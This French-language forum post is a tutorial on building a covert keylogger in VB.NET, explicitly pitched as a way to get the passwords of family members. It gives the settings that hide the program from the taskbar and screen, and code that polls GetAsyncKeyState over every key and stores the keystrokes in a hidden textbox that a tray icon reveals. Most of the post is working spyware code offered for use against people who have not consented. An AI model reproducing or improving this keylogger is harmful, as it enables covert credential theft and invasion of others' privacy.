Rechercher dans la communauté
Affichage des résultats pour les étiquettes 'Enregistreur'.
1 résultat trouvé
-
Bonjour, je vais vous expliquez comment faire un enregistreur de frappe.^^ pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster... Il faut: -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0) -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus) -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100) -1 NotifyIcon (Config: Icon=[votre Icône Windows) -1 Icône windows de préférence KDO: un lien vers un site plein d'icône cool: ->Lien<- (lien icone windows) et c'est partit pour le code... u_u double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]: Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integeret dans l'handle (le code form_load): Timer1.Start() Timer2.Start() Me.Visible = Falsemaintenant double clique sur le timer1 pour afficher le code et on met dedans : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté End If Next iDouble clique sur le NotifyIcon1 pour afficher le code et on met dedans : Me.WindowState = FormWindowState.Normal Me.Height = 300 ' hauteur Me.Width = 300 'largeur Me.ShowInTaskbar = True 'affichage dans la barre de tâche Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords... Me.Visible = True ' si on l'affiche TextBox1.Visible = True ' si on affiche les caractères masqués Me.AllowTransparency = False Me.RightToLeft = Windows.Forms.RightToLeft.Inherit Me.Show() Double clique sur le Timer2 pour afficher le code et on met dedans : If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre Me.Height = 0 'plein de paramètre chiant à expliquer Me.Width = 0 Me.ShowInTaskbar = False Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None Me.Visible = False TextBox1.Visible = False Me.AllowTransparency = True Me.RightToLeft = Windows.Forms.RightToLeft.Inherit 'code by Mars073 End Ifsi vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré. Bonne programmation à tous! Cordialement, Mars073